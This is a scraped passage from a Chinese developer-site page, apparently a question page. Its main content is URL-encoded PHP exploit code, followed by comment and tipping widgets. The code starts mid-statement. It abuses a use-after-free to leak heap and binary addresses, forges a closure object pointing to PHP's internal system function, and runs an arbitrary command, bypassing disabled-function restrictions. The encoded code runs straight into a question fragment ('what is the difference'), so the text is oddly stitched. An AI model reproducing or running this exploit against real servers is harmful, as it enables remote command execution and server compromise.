c+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d有什么区别
01-05
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值